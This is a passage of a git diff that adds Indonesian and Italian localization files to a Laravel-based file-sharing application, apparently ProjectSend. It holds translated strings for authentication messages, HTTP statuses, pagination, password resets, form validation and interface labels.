b/lang/id/auth.php @@ -0,0 +1,9 @@ + 'Identitas tersebut tidak cocok dengan data kami.', + 'password' => 'Kata sandi salah.', + 'throttle' => 'Terlalu banyak upaya masuk. Silahkan coba lagi dalam :seconds detik.', +]; diff --git a/lang/id/http-statuses.php b/lang/id/http-statuses.php new file mode 100644 index 00000000..f485265a --- /dev/null +++ b/lang/id/http-statuses.php @@ -0,0 +1,84 @@ + 'Error tidak diketahui', + '100' => 'Lanjut', + '101' => 'Beralih protokol', + '102' => 'Memproses', + '200' => 'OKE', + '201' => 'Dibuat', + '202' => 'Diterima', + '203' => 'Informasi Non-Otoritatif', + '204' => 'Tidak ada konten', + '205' => 'Setel ulang konten', + '206' => 'Konten parsial', + '207' => 'Status ganda', + '208' => 'Sudah dilaporkan', + '226' => 'IM Digunakan', + '300' => 'Pilihan ganda', + '301' => 'Pengalihan permanen', + '302' => 'Ditemukan', + '303' => 'Lihat lainnya', + '304' => 'Tidak dimodifikasi', + '305' => 'Memakai Proxy', + '307' => 'Pengalihan temporer', + '308' => 'Pengalihan permanen', + '400' => 'Permintaan yang buruk', + '401' => 'Tidak sah', + '402' => 'Pembayaran diperlukan', + '403' => 'Terlarang', + '404' => 'Tidak ditemukan', + '405' => 'Metode tidak diizinkan', + '406' => 'Tidak dapat diterima', + '407' => 'Otentikasi proksi diperlukan', + '408' => 'Permintaan waktu habis', + '409' => 'Konflik', + '410' => 'Hilang', + '411' => 'Panjang diperlukan', + '412' => 'Prasyarat Gagal', + '413' => 'Payload terlalu besar', + '414' => 'URI terlalu panjang', + '415' => 'Tipe media tidak mendukung', + '416' => 'Rentang Tidak Memuaskan', + '417' => 'Ekspetasi gagal', + '418' => 'Saya teko', + '419' => 'Sesi telah berakhir', + '421' => 'Permintaan salah arah', + '422' => 'Entitas yang tidak dapat diproses', + '423' => 'Terkunci', + '424' => 'Dependensi gagal', + '425' => 'Terlalu dini', + '426' => 'Diperlukan Peningkatan', + '428' => 'Prasyarat diperlukan', + '429' => 'Terlalu banyak permintaan', + '431' => 'Bidang permintaan Header terlalu besar', + '444' => 'Koneksi Ditutup Tanpa Respon', + '449' => 'Coba lagi dengan', + '451' => 'Tidak Tersedia Karena Alasan Hukum', + '499' => 'Permintaan ditutup klien', + '500' => 'Kesalahan dari dalam server', + '501' => 'Tidak dilaksanakan', + '502' => 'Gateway buruk', + '503' => 'Mode pemeliharaan', + '504' => 'Gateway waktu habis', + '505' => 'Versi HTTP tidak mendukung', + '506' => 'Varian Juga Nego', + '507' => 'Penyimpanan tidak cukup', + '508' => 'Terdeteksi perulangan', + '509' => 'Batas Bandwidth terlampaui', + '510' => 'Tidak diperpanjang', + '511' => 'Otentikasi jaringan diperlukan', + '520' => 'Error tidak diketahui', + '521' => 'Web server sedang turun', + '522' => 'Waktu koneksi berakhir', + '523' => 'Asal tidak terjangkau', + '524' => 'Terjadi Timeout', + '525' => 'Jabat tangan SSL gagal', + '526' => 'Sertifikat SSL tidak sah', + '527' => 'Kesalahan Railgun', + '598' => 'Network Read Timeout gagal', + '599' => 'Network Connect Timeout gagal', + 'unknownError' => 'Error tidak diketahui', +]; diff --git a/lang/id/pagination.php b/lang/id/pagination.php new file mode 100644 index 00000000..708a9f01 --- /dev/null +++ b/lang/id/pagination.php @@ -0,0 +1,8 @@ + 'Berikutnya »', + 'previous' => '« Sebelumnya', +]; diff --git a/lang/id/passwords.php b/lang/id/passwords.php new file mode 100644 index 00000000..73086042 --- /dev/null +++ b/lang/id/passwords.php @@ -0,0 +1,11 @@ + 'Kata sandi Anda sudah direset!', + 'sent' => 'Kami sudah mengirim surel yang berisi tautan untuk mereset kata sandi Anda!', + 'throttled' => 'Harap tunggu sebelum mencoba lagi.', + 'token' => 'Token pengaturan ulang kata sandi tidak sah.', + 'user' => 'Kami tidak dapat menemukan pengguna dengan alamat surel tersebut.', +]; diff --git a/lang/id/validation.php b/lang/id/validation.php new file mode 100644 index 00000000..b21bcb6d --- /dev/null +++ b/lang/id/validation.php @@ -0,0 +1,288 @@ + ':Attribute harus diterima.', + 'accepted_if' => ':Attribute harus diterima ketika :other berisi :value.', + 'active_url' => ':Attribute bukan URL yang valid.', + 'after' => ':Attribute harus berisi tanggal setelah :date.', + 'after_or_equal' => ':Attribute harus berisi tanggal setelah atau sama dengan :date.', + 'alpha' => ':Attribute hanya boleh berisi huruf.', + 'alpha_dash' => ':Attribute hanya boleh berisi huruf, angka, strip, dan garis bawah.', + 'alpha_num' => ':Attribute hanya boleh berisi huruf dan angka.', + 'any_of' => 'Bidang :attribute tidak valid.', + 'array' => ':Attribute harus berisi sebuah array.', + 'ascii' => ':Attribute hanya boleh berisi karakter dan simbol alfanumerik single-byte.', + 'before' => ':Attribute harus berisi tanggal sebelum :date.', + 'before_or_equal' => ':Attribute harus berisi tanggal sebelum atau sama dengan :date.', + 'between' => [ + 'array' => ':Attribute harus memiliki :min sampai :max anggota.', + 'file' => ':Attribute harus berukuran antara :min sampai :max kilobita.', + 'numeric' => ':Attribute harus bernilai antara :min sampai :max.', + 'string' => ':Attribute harus berisi antara :min sampai :max karakter.', + ], + 'boolean' => ':Attribute harus bernilai true atau false', + 'can' => 'Bidang :attribute berisi nilai yang tidak sah.', + 'confirmed' => 'Konfirmasi :attribute tidak cocok.', + 'contains' => 'Bidang :attribute tidak memiliki nilai yang diperlukan.', + 'current_password' => 'Kata sandi salah.', + 'date' => ':Attribute bukan tanggal yang valid.', + 'date_equals' => ':Attribute harus berisi tanggal yang sama dengan :date.', + 'date_format' => ':Attribute tidak cocok dengan format :format.', + 'decimal' => ':Attribute harus memiliki :decimal tempat desimal.', + 'declined' => ':Attribute ini harus ditolak.', + 'declined_if' => ':Attribute ini harus ditolak ketika :other bernilai :value.', + 'different' => ':Attribute dan :other harus berbeda.', + 'digits' => ':Attribute harus terdiri dari :digits angka.', + 'digits_between' => ':Attribute harus terdiri dari :min sampai :max angka.', + 'dimensions' => ':Attribute tidak memiliki dimensi gambar yang valid.', + 'distinct' => ':Attribute memiliki nilai yang duplikat.', + 'doesnt_contain' => 'Bidang :attribute tidak boleh berisi salah satu dari yang berikut: :values.', + 'doesnt_end_with' => ':Attribute tidak boleh diakhiri dengan salah satu dari berikut ini: :values.', + 'doesnt_start_with' => ':Attribute tidak boleh dimulai dengan salah satu dari berikut ini: :values.', + 'email' => ':Attribute harus berupa alamat surel yang valid.', + 'encoding' => 'Bidang :attribute harus dikodekan dalam :encoding.', + 'ends_with' => ':Attribute harus diakhiri salah satu dari berikut: :values', + 'enum' => ':Attribute yang dipilih tidak valid.', + 'exists' => ':Attribute yang dipilih tidak valid.', + 'extensions' => 'Bidang :attribute harus memiliki salah satu ekstensi berikut: :values.', + 'file' => ':Attribute harus berupa sebuah berkas.', + 'filled' => ':Attribute harus memiliki nilai.', + 'gt' => [ + 'array' => ':Attribute harus memiliki lebih dari :value anggota.', + 'file' => ':Attribute harus berukuran lebih besar dari :value kilobita.', + 'numeric' => ':Attribute harus bernilai lebih besar dari :value.', + 'string' => ':Attribute harus berisi lebih besar dari :value karakter.', + ], + 'gte' => [ + 'array' => ':Attribute harus terdiri dari :value anggota atau lebih.', + 'file' => ':Attribute harus berukuran lebih besar dari atau sama dengan :value kilobita.', + 'numeric' => ':Attribute harus bernilai lebih besar dari atau sama dengan :value.', + 'string' => ':Attribute harus berisi lebih besar dari atau sama dengan :value karakter.', + ], + 'hex_color' => 'Bidang :attribute harus berupa warna heksadesimal yang valid.', + 'image' => ':Attribute harus berupa gambar.', + 'in' => ':Attribute yang dipilih tidak valid.', + 'in_array' => ':Attribute tidak ada di dalam :other.', + 'in_array_keys' => ':attribute bidang harus berisi setidaknya satu dari tombol berikut: :values.', + 'integer' => ':Attribute harus berupa bilangan bulat.', + 'ip' => ':Attribute harus berupa alamat IP yang valid.', + 'ipv4' => ':Attribute harus berupa alamat IPv4 yang valid.', + 'ipv6' => ':Attribute harus berupa alamat IPv6 yang valid.', + 'json' => ':Attribute harus berupa JSON string yang valid.', + 'list' => 'Bidang :attribute harus berupa daftar.', + 'lowercase' => ':Attribute harus berupa huruf kecil.', + 'lt' => [ + 'array' => ':Attribute harus memiliki kurang dari :value anggota.', + 'file' => ':Attribute harus berukuran kurang dari :value kilobita.', + 'numeric' => ':Attribute harus bernilai kurang dari :value.', + 'string' => ':Attribute harus berisi kurang dari :value karakter.', + ], + 'lte' => [ + 'array' => ':Attribute harus tidak lebih dari :value anggota.', + 'file' => ':Attribute harus berukuran kurang dari atau sama dengan :value kilobita.', + 'numeric' => ':Attribute harus bernilai kurang dari atau sama dengan :value.', + 'string' => ':Attribute harus berisi kurang dari atau sama dengan :value karakter.', + ], + 'mac_address' => ':Attribute harus berupa alamat MAC yang valid.', + 'max' => [ + 'array' => ':Attribute maksimal terdiri dari :max anggota.', + 'file' => ':Attribute maksimal berukuran :max kilobita.', + 'numeric' => ':Attribute maksimal bernilai :max.', + 'string' => ':Attribute maksimal berisi :max karakter.', + ], + 'max_digits' => ':Attribute tidak boleh memiliki lebih dari :max digit.', + 'mimes' => ':Attribute harus berupa berkas berjenis: :values.', + 'mimetypes' => ':Attribute harus berupa berkas berjenis: :values.', + 'min' => [ + 'array' => ':Attribute minimal terdiri dari :min anggota.', + 'file' => ':Attribute minimal berukuran :min kilobita.', + 'numeric' => ':Attribute minimal bernilai :min.', + 'string' => ':Attribute minimal berisi :min karakter.', + ], + 'min_digits' => ':Attribute tidak boleh memiliki kurang dari :min digit.', + 'missing' => 'Bidang :attribute harus hilang.', + 'missing_if' => 'Bidang :attribute harus hilang ketika :other adalah :value.', + 'missing_unless' => 'Bidang :attribute harus hilang kecuali :other adalah :value.', + 'missing_with' => 'Kolom :attribute harus hilang saat ada :values.', + 'missing_with_all' => 'Kolom :attribute harus hilang jika ada :values.', + 'multiple_of' => ':Attribute harus merupakan kelipatan dari :value', + 'not_in' => ':Attribute yang dipilih tidak valid.', + 'not_regex' => 'Format :attribute tidak valid.', + 'numeric' => ':Attribute harus berupa angka.', + 'password' => [ + 'letters' => ':Attribute ini harus memiliki setidaknya satu karakter.', + 'mixed' => ':Attribute ini harus memiliki setidaknya satu huruf kapital dan satu huruf kecil.', + 'numbers' => ':Attribute ini harus memiliki setidaknya satu angka.', + 'symbols' => ':Attribute ini harus memiliki setidaknya satu simbol.', + 'uncompromised' => ':Attribute ini telah muncul di kebocoran data. Silahkan memilih :attribute yang berbeda.', + ], + 'present' => ':Attribute wajib ada.', + 'present_if' => 'Bidang :attribute harus ada ketika :other adalah :value.', + 'present_unless' => 'Bidang :attribute harus ada kecuali :other adalah :value.', + 'present_with' => 'Bidang :attribute harus ada bila ada :values.', + 'present_with_all' => 'Bidang :attribute harus ada ketika ada :values.', + 'prohibited' => ':Attribute tidak boleh ada.', + 'prohibited_if' => ':Attribute tidak boleh ada bila :other adalah :value.', + 'prohibited_if_accepted' => ':attribute bidang dilarang ketika :other diterima.', + 'prohibited_if_declined' => ':attribute bidang dilarang ketika :other ditolak.', + 'prohibited_unless' => ':Attribute tidak boleh ada kecuali :other memiliki nilai :values.', + 'prohibits' => ':Attribute melarang isian :other untuk ditampilkan.', + 'regex' => 'Format :attribute tidak valid.', + 'required' => ':Attribute wajib diisi.', + 'required_array_keys' => ':Attribute wajib berisi entri untuk: :values.', + 'required_if' => ':Attribute wajib diisi bila :other adalah :value.', + 'required_if_accepted' => ':Attribute wajib diisi bila :other sesuai.', + 'required_if_declined' => 'Bidang :attribute wajib diisi bila :other ditolak.', + 'required_unless' => ':Attribute wajib diisi kecuali :other memiliki nilai :values.', + 'required_with' => ':Attribute wajib diisi bila terdapat :values.', + 'required_with_all' => ':Attribute wajib diisi bila terdapat :values.', + 'required_without' => ':Attribute wajib diisi bila tidak terdapat :values.', + 'required_without_all' => ':Attribute wajib diisi bila sama sekali tidak terdapat :values.', + 'same' => ':Attribute dan :other harus sama.', + 'size' => [ + 'array' => ':Attribute harus mengandung :size anggota.', + 'file' => ':Attribute harus berukuran :size kilobyte.', + 'numeric' => ':Attribute harus berukuran :size.', + 'string' => ':Attribute harus berukuran :size karakter.', + ], + 'starts_with' => ':Attribute harus diawali salah satu dari berikut: :values', + 'string' => ':Attribute harus berupa string.', + 'timezone' => ':Attribute harus berisi zona waktu yang valid.', + 'ulid' => ':Attribute harus merupakan ULID yang valid.', + 'unique' => ':Attribute sudah ada sebelumnya.', + 'uploaded' => ':Attribute gagal diunggah.', + 'uppercase' => ':Attribute harus berupa huruf kapital.', + 'url' => 'Format :attribute tidak valid.', + 'uuid' => ':Attribute harus merupakan UUID yang valid.', + 'attributes' => [ + 'address' => 'alamat', + 'affiliate_url' => 'URL afiliasi', + 'age' => 'usia', + 'amount' => 'jumlah', + 'announcement' => 'pengumuman', + 'area' => 'daerah', + 'audience_prize' => 'hadiah penonton', + 'audience_winner' => 'pemenang penonton', + 'available' => 'tersedia', + 'birthday' => 'hari ulang tahun', + 'body' => 'badan', + 'city' => 'kota', + 'color' => 'warna', + 'company' => 'perusahaan', + 'compilation' => 'kompilasi', + 'concept' => 'konsep', + 'conditions' => 'kondisi', + 'content' => 'konten', + 'contest' => 'kontes', + 'country' => 'negara', + 'cover' => 'sampul', + 'created_at' => 'dibuat pada', + 'creator' => 'pencipta', + 'currency' => 'mata uang', + 'current_password' => 'kata sandi saat ini', + 'customer' => 'pelanggan', + 'date' => 'tanggal', + 'date_of_birth' => 'tanggal lahir', + 'dates' => 'tanggal', + 'day' => 'hari', + 'deleted_at' => 'dihapus pada', + 'description' => 'deskripsi', + 'display_type' => 'tipe tampilan', + 'district' => 'daerah', + 'duration' => 'durasi', + 'email' => 'surel', + 'excerpt' => 'kutipan', + 'filter' => 'filter', + 'finished_at' => 'selesai pada', + 'first_name' => 'nama depan', + 'gender' => 'jenis kelamin', + 'grand_prize' => 'hadiah utama', + 'group' => 'kelompok', + 'hour' => 'jam', + 'image' => 'gambar', + 'image_desktop' => 'gambar desktop', + 'image_main' => 'gambar utama', + 'image_mobile' => 'gambar seluler', + 'images' => 'gambar-gambar', + 'is_audience_winner' => 'adalah pemenang penonton', + 'is_hidden' => 'tersembunyi', + 'is_subscribed' => 'berlangganan', + 'is_visible' => 'terlihat', + 'is_winner' => 'adalah pemenang', + 'items' => 'daftar barang', + 'key' => 'kunci', + 'last_name' => 'nama belakang', + 'lesson' => 'pelajaran', + 'line_address_1' => 'alamat baris 1', + 'line_address_2' => 'alamat baris 2', + 'login' => 'gabung', + 'message' => 'pesan', + 'middle_name' => 'nama tengah', + 'minute' => 'menit', + 'mobile' => 'seluler', + 'month' => 'bulan', + 'name' => 'nama', + 'national_code' => 'kode nasional', + 'number' => 'nomor', + 'password' => 'kata sandi', + 'password_confirmation' => 'konfirmasi kata sandi', + 'phone' => 'telepon', + 'photo' => 'foto', + 'portfolio' => 'portofolio', + 'postal_code' => 'kode Pos', + 'preview' => 'pratinjau', + 'price' => 'harga', + 'product_id' => 'ID Produk', + 'product_uid' => 'UID produk', + 'product_uuid' => 'UUID produk', + 'promo_code' => 'Kode promosi', + 'province' => 'provinsi', + 'quantity' => 'jumlah', + 'reason' => 'alasan', + 'recaptcha_response_field' => 'bidang respons recaptcha', + 'referee' => 'wasit', + 'referees' => 'wasit', + 'region' => 'wilayah', + 'reject_reason' => 'alasan penolakan', + 'remember' => 'ingat', + 'restored_at' => 'dipulihkan pada', + 'result_text_under_image' => 'teks hasil di bawah gambar', + 'role' => 'peran', + 'rule' => 'aturan', + 'rules' => 'aturan', + 'second' => 'detik', + 'sex' => 'jenis kelamin', + 'shipment' => 'pengiriman', + 'short_text' => 'teks pendek', + 'size' => 'ukuran', + 'skills' => 'keterampilan', + 'slug' => 'slug', + 'specialization' => 'spesialisasi', + 'started_at' => 'dimulai pada', + 'state' => 'negara', + 'status' => 'status', + 'street' => 'jalan', + 'student' => 'siswa', + 'subject' => 'subjek', + 'tag' => 'tag', + 'tags' => 'tag', + 'teacher' => 'guru', + 'terms' => 'ketentuan', + 'test_description' => 'deskripsi tes', + 'test_locale' => 'uji lokal', + 'test_name' => 'nama tes', + 'text' => 'teks', + 'time' => 'waktu', + 'title' => 'judul', + 'type' => 'jenis', + 'updated_at' => 'diperbarui pada', + 'user' => 'pengguna', + 'username' => 'nama pengguna', + 'value' => 'nilai', + 'winner' => 'pemenang', + 'work' => 'pekerjaan', + 'year' => 'tahun', + ], +]; diff --git a/lang/it.json b/lang/it.json new file mode 100644 index 00000000..23615337 --- /dev/null +++ b/lang/it.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName ha caricato \":itemName\"", + ":count accounts have this role": ":count account hanno questo ruolo", + ":count awaiting approval": ":count in attesa di approvazione", + ":count downloads": ":count download", + ":count file deleted.|:count files deleted.": ":count file eliminato.|:count file eliminati.", + ":count file imported.|:count files imported.": ":count file importato.|:count file importati.", + ":count files": ":count file", + ":count folders": ":count cartelle", + ":count items have been shared with you": ":count elementi sono stati condivisi con te", + ":count members": ":count membri", + ":count selected": ":count selezionati", + ":files files": ":files file", + ":itemName was shared with you": ":itemName è stato condiviso con te", + ":name will not be added to the group \":group\".": ":name non verrà aggiunto al gruppo \":group\".", + ":total total": ":total in totale", + ":used / :limit downloads": ":used / :limit download", + ":used MB of :quota MB used": ":used MB di :quota MB utilizzati", + ":used MB used, no limit": ":used MB utilizzati, nessun limite", + "(and :count more error)": "(e :count altro errore)", + "(and :count more errors)": "(e :count altro errore)|(e :count altri errori)|(e :count altri errori)", + "(deleted account)": "(account eliminato)", + "0 means unlimited.": "0 significa illimitato.", + "A client account request was approved": "Una richiesta di account cliente è stata approvata", + "A client account request was denied": "Una richiesta di account cliente è stata rifiutata", + "A client left a group": "Un cliente ha lasciato un gruppo", + "A client registered an account": "Un cliente ha registrato un account", + "A client requested to join a group": "Un cliente ha chiesto di entrare in un gruppo", + "A client uploaded a file": "Un cliente ha caricato un file", + "A client was added to a group": "Un cliente è stato aggiunto a un gruppo", + "A client was removed from a group": "Un cliente è stato rimosso da un gruppo", + "A decryption key is required.": "Una chiave di decrittazione è richiesta.", + "A file assignment was removed": "Un'assegnazione di file è stata rimossa", + "A file has been shared with you": "Un file è stato condiviso con te", + "A file or folder was shared with you": "Un file o una cartella è stato condiviso con te", + "A file was assigned": "Un file è stato assegnato", + "A file was deleted": "Un file è stato eliminato", + "A file was downloaded": "Un file è stato scaricato", + "A file was downloaded via a public link": "Un file è stato scaricato tramite un link pubblico", + "A file was downloaded via the public group listing": "Un file è stato scaricato tramite l'elenco pubblico dei gruppi", + "A file was updated": "Un file è stato aggiornato", + "A file was uploaded": "Un file è stato caricato", + "A folder cannot be moved into itself.": "Una cartella non può essere spostata dentro sé stessa.", + "A folder has been shared with you": "Una cartella è stata condivisa con te", + "A folder was created": "Una cartella è stata creata", + "A folder was deleted": "Una cartella è stata eliminata", + "A folder was moved": "Una cartella è stata spostata", + "A folder was renamed": "Una cartella è stata rinominata", + "A folder was shared": "Una cartella è stata condivisa", + "A folder was unshared": "La condivisione di una cartella è stata revocata", + "A group membership request was approved": "Una richiesta di adesione a un gruppo è stata approvata", + "A group membership request was denied": "Una richiesta di adesione a un gruppo è stata rifiutata", + "A group membership was requested": "È stata richiesta l'adesione a un gruppo", + "A group was created": "Un gruppo è stato creato", + "A group was deleted": "Un gruppo è stato eliminato", + "A group was updated": "Un gruppo è stato aggiornato", + "A new client account was created: :name (:email).": "È stato creato un nuovo account cliente: :name (:email).", + "A new client has registered": "Un nuovo cliente si è registrato", + "A new ProjectSend version is available": "È disponibile una nuova versione di ProjectSend", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "La pagina di un gruppo pubblico è sempre raggiungibile dal suo link non appena lo contrassegni come pubblico — questa sezione controlla solo l'URL di base e un elenco facoltativo che mostra in una volta tutti i gruppi e i file pubblici.", + "A public link was created": "Un link pubblico è stato creato", + "A public link was revoked": "Un link pubblico è stato revocato", + "A role was created": "Un ruolo è stato creato", + "A role was deleted": "Un ruolo è stato eliminato", + "A role was updated": "Un ruolo è stato aggiornato", + "A Timeout Occurred": "Un timeout è avvenuto", + "About": "Informazioni", + "Accept": "Accettare", + "Accepted": "Accettato", + "Account": "Account", + "Account deletion grace period (days)": "Periodo di tolleranza prima dell'eliminazione dell'account (giorni)", + "Account is active": "Account attivo", + "Account Manager": "Responsabile clienti", + "Account request approved.": "Richiesta di account approvata.", + "Account request denied.": "Richiesta di account rifiutata.", + "Account requests": "Richieste di account", + "Account settings": "Impostazioni dell'account", + "Account type": "Tipo di account", + "Accounts": "Account", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Gli account soggetti a questo requisito devono configurare l'autenticazione a due fattori prima di poter continuare a usare l'applicazione.", + "Action": "Azione", + "Actions": "Azioni", + "Activate": "Attiva", + "Activated the account \":subject\"": "Ha attivato l'account \":subject\"", + "Activating this account approves its pending request.": "Attivare questo account approva la richiesta in sospeso a esso collegata.", + "Active": "Attivo", + "Activity": "Attività", + "Activity log": "Registro attività", + "Add": "Aggiungi", + "Add :name": "Aggiungi :name", + "Add a category": "Aggiungi una categoria", + "Add a client": "Aggiungi un cliente", + "Add a second step to your login using an authenticator app.": "Aggiungi un secondo passaggio all'accesso usando un'app di autenticazione.", + "Add new clients to this group": "Aggiungi nuovi clienti a questo gruppo", + "Added \":member\" to the group \":subject\"": "Ha aggiunto \":member\" al gruppo \":subject\"", + "Admin": "Ammin", + "Admin notification recipients": "Destinatari delle notifiche di amministrazione", + "Admin: client uploaded a file": "Amministrazione: un cliente ha caricato un file", + "Admin: group membership requested": "Amministrazione: richiesta di adesione a un gruppo", + "Admin: new client registered": "Amministrazione: nuovo cliente registrato", + "Administration": "Amministrazione", + "After uploading you can assign it to clients and groups": "Dopo il caricamento potrai assegnarlo a clienti e gruppi", + "Agree": "Essere d'accordo", + "All": "Tutti", + "All actions": "Tutte le azioni", + "All categories": "Tutte le categorie", + "All clients": "Tutti i clienti", + "All comments": "Tutti i commenti", + "All failed jobs deleted.": "Tutte le operazioni fallite sono state eliminate.", + "All files": "Tutti i file", + "All groups": "Tutti i gruppi", + "All permissions": "Tutte le autorizzazioni", + "All rights reserved.": "Tutti i diritti riservati", + "All roles": "Tutti i ruoli", + "All statuses": "Tutti gli stati", + "All system users": "Tutti gli utenti di sistema", + "All types": "Tutti i tipi", + "Already have an account?": "Hai già un account?", + "Already Reported": "Già riportato", + "Always": "Sempre", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "È stato creato un account per te. Puoi accedere subito.", + "An account was activated": "Un account è stato attivato", + "An account was created": "Un account è stato creato", + "An account was deactivated": "Un account è stato disattivato", + "An account was deleted": "Un account è stato eliminato", + "An account was permanently erased": "Un account è stato cancellato definitivamente", + "An account was updated": "Un account è stato aggiornato", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "A un amministratore che elimina un account viene chiesto ogni volta; la cancellazione automatica degli account eliminati dai loro proprietari viene eseguita senza supervisione e segue questa scelta, così non resta mai nulla senza proprietario.", + "An administrator will review your group requests.": "Un amministratore esaminerà le tue richieste di gruppo.", + "An orphan file was deleted": "Un file orfano è stato eliminato", + "An orphan file was imported": "Un file orfano è stato importato", + "An overview of this installation": "Una panoramica di questa installazione", + "Any audience": "Qualsiasi destinatario", + "Anyone": "Chiunque", + "Anyone using it will no longer be able to download the file.": "Chi lo utilizza non potrà più scaricare il file.", + "Appearance": "Aspetto", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Si applica alle pagine pubbliche di gruppi e file rivolte ai visitatori e al portale clienti \"I miei file\".", + "Apply filters": "Applica filtri", + "Approve": "Approva", + "Approve account requests": "Approvare le richieste di account", + "Approve group membership requests": "Approvare le richieste di adesione ai gruppi", + "Approved the account request of \":subject\"": "Ha approvato la richiesta di account di \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Ha approvato l'adesione di \":member\" al gruppo \":subject\"", + "Archive": "Archivio", + "Are deleted along with the account": "Vengono eliminati insieme all'account", + "Are reassigned to another account": "Vengono riassegnati a un altro account", + "Are you sure you want to delete your account?": "Vuoi davvero eliminare il tuo account?", + "Assign": "Assegnare", + "Assign categories to files": "Assegnare categorie ai file", + "Assigned": "Assegnato", + "Assigned clients": "Clienti assegnati", + "Assigned the file \":subject\" to :target": "Ha assegnato il file \":subject\" a :target", + "Associate": "Associare", + "Attach": "Allega", + "Audience": "Destinatari", + "Authentication code": "Codice di autenticazione", + "Authentication requirements for this installation": "Requisiti di autenticazione per questa installazione", + "Author": "Autore", + "Available groups": "Gruppi disponibili", + "Available placeholders": "Segnaposto disponibili", + "Back to My files": "Torna a I miei file", + "Bad Gateway": "Gateway cattivo", + "Bad Request": "Cattiva richiesta", + "Bandwidth Limit Exceeded": "Limita di banda superato", + "Blue": "Blu", + "Body": "Corpo del messaggio", + "Browse": "Naviga", + "Browse publicly shared groups and files below.": "Sfoglia qui sotto i gruppi e i file condivisi pubblicamente.", + "Built-in": "Predefinito", + "Built-in role names cannot be changed.": "Il nome dei ruoli predefiniti non può essere modificato.", + "Built-in roles cannot be deleted.": "I ruoli predefiniti non possono essere eliminati.", + "Call to action": "Invito all'azione", + "Cancel": "Annulla", + "Categories": "Categorie", + "Category": "Categoria", + "Category created.": "Categoria creata.", + "Category deleted.": "Categoria eliminata.", + "Category updated.": "Categoria aggiornata.", + "Changed their password": "Ha cambiato la propria password", + "Checkbox": "Casella di controllo", + "Checksum (SHA-256)": "Checksum (SHA-256)", + "Choose": "Seleziona", + "Choose :name": "Scegli :name", + "Choose an account…": "Scegli un account…", + "Choose File": "Scegli un file", + "Choose Image": "Scegli Immagine", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Scegli quali notifiche ti vengono inviate anche via e-mail. Tutto compare comunque sempre nella campanella delle notifiche.", + "Clear": "Azzera", + "Click to copy": "Fare clic per copiare", + "Client": "Cliente", + "Client account approved": "Account cliente approvato", + "Client account denied": "Account cliente rifiutato", + "Client account edited": "Account cliente modificato", + "Client Closed Request": "Richiesta chiusa del cliente", + "Client created.": "Cliente creato.", + "Client deleted.": "Cliente eliminato.", + "Client Manager": "Gestore clienti", + "Client settings": "Impostazioni dei clienti", + "Client updated.": "Cliente aggiornato.", + "Client welcome (staff-created account)": "Benvenuto cliente (account creato dallo staff)", + "Clients": "Clienti", + "Clients and groups that can download this file": "Clienti e gruppi che possono scaricare questo file", + "Clients asking to join groups": "Clienti che chiedono di entrare nei gruppi", + "Clients who registered themselves and are waiting for approval": "Clienti che si sono registrati da soli e attendono l'approvazione", + "Close": "Chiudi", + "Collapse": "Comprimi", + "Collapse All": "Comprimi tutto", + "Color": "Colore", + "Columns": "Colonne", + "Comment": "Commenta", + "Confirm": "Conferma", + "Confirm password": "Conferma password", + "Conflict": "Conflitto", + "Connect": "Collega", + "Connection Closed Without Response": "Connessione chiusa senza risposta", + "Connection Timed Out": "Tempo scaduto per la connessione", + "Continue": "Continua", + "Copy URL": "Copia URL", + "Copy link": "Copia link", + "Counters": "Contatori", + "Create": "Crea", + "Create :name": "Crea :name", + "Create a client account": "Crea un account cliente", + "Create a public link": "Crea un link pubblico", + "Create a staff account for this installation": "Crea un account dello staff per questa installazione", + "Create administrator account": "Crea l'account amministratore", + "Create an account for someone you share files with": "Crea un account per una persona con cui condividi file", + "Create categories": "Creare categorie", + "Create category": "Crea categoria", + "Create client": "Crea cliente", + "Create clients": "Creare clienti", + "Create custom assets": "Creare risorse personalizzate", + "Create field": "Crea campo", + "Create folder": "Crea cartella", + "Create group": "Crea gruppo", + "Create groups": "Creare gruppi", + "Create link": "Crea link", + "Create own folders": "Creare cartelle proprie", + "Create role": "Crea ruolo", + "Create system users": "Creare utenti di sistema", + "Create user": "Crea utente", + "Created": "Creato", + "Created a public link for the file \":subject\"": "Ha creato un link pubblico per il file \":subject\"", + "Created by": "Creato da", + "Created the account \":subject\"": "Ha creato l'account \":subject\"", + "Created the folder \":subject\"": "Ha creato la cartella \":subject\"", + "Created the group \":subject\"": "Ha creato il gruppo \":subject\"", + "Created the role \":subject\"": "Ha creato il ruolo \":subject\"", + "Custom": "Personalizzato", + "Custom assets": "Risorse personalizzate", + "Custom fields": "Campi personalizzati", + "Custom links with an optional expiration date or download limit, no account needed.": "Link su misura, con data di scadenza o limite di download facoltativi, senza bisogno di alcun account.", + "Custom roles let you grant a precise set of permissions": "I ruoli personalizzati ti permettono di concedere un insieme preciso di autorizzazioni", + "Custom SMTP": "SMTP personalizzato", + "Customize the wording of any transactional email sent by this installation.": "Personalizza il testo di qualsiasi e-mail transazionale inviata da questa installazione.", + "Customized": "Personalizzato", + "Dark": "Scuro", + "Dashboard": "Pannello", + "Dashboard widgets": "Widget del pannello", + "Data retention and visibility for this installation": "Conservazione dei dati e visibilità per questa installazione", + "Database": "Database", + "Date": "Data", + "Days before a denied membership request can be made again": "Giorni prima che una richiesta di adesione rifiutata possa essere ripresentata", + "Deactivate your account now; it is permanently erased after :days days": "Disattiva subito il tuo account; verrà cancellato definitivamente dopo :days giorni", + "Deactivated the account \":subject\"": "Ha disattivato l'account \":subject\"", + "Default": "Predefinito", + "Defaults to the file name.": "Per impostazione predefinita coincide con il nome del file.", + "Delete": "Elimina", + "Delete :name": "Cancella :name", + "Delete account": "Elimina account", + "Delete all": "Elimina tutto", + "Delete all failed": "Elimina tutte le fallite", + "Delete all failed jobs?": "Eliminare tutte le operazioni fallite?", + "Delete categories": "Eliminare categorie", + "Delete category": "Elimina categoria", + "Delete category?": "Eliminare la categoria?", + "Delete client": "Elimina cliente", + "Delete client?": "Eliminare il cliente?", + "Delete clients": "Eliminare clienti", + "Delete custom assets": "Eliminare 